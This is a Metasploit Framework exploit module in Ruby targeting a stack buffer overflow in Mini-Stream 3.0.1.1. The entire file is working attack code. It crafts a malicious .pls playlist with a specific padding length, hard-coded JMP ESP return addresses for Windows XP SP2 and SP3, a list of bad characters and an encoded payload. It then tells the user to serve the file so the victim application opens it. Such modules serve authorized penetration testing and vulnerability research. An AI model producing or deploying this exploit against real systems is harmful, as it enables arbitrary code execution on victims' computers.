##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
      'Description' => %q{
        This module exploits a stack overflow in Mini-Stream 3.0.1.1
      By creating a specially crafted pls file, an an attacker may be able
      to execute arbitrary code.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Corlan Security Team ',
          'Ron Henry <rlh[at] ciphermonk.net>', # Return address update
          'dijital1',
        ],
      'Version' => '$Revision: 8038 $',
      'References' =>
        [
          [ 'OSVDB', '61341' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload' =>
        {
          'Space' => 3500,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP3 - English', { 'Ret' => 0x7e429353} ],     # 0x7e429353 JMP ESP - USER32.dll
          [ 'Windows XP SP2 - English', { 'Ret' => 0x7c941eed} ],     # 0x7c941eed JMP ESP - SHELL32.dll
        ],
      'Privileged' => false,
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.pls']),
      ], self.class)
  end


  def exploit
    sploit = rand_text_alphanumeric(17403)
    sploit << [target.ret].pack('V')
    sploit << "CAFE" * 8
    sploit << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
    print_status("Copy '#{datastore['FILENAME']}' to a web server and pass the URL to the application")
  end

end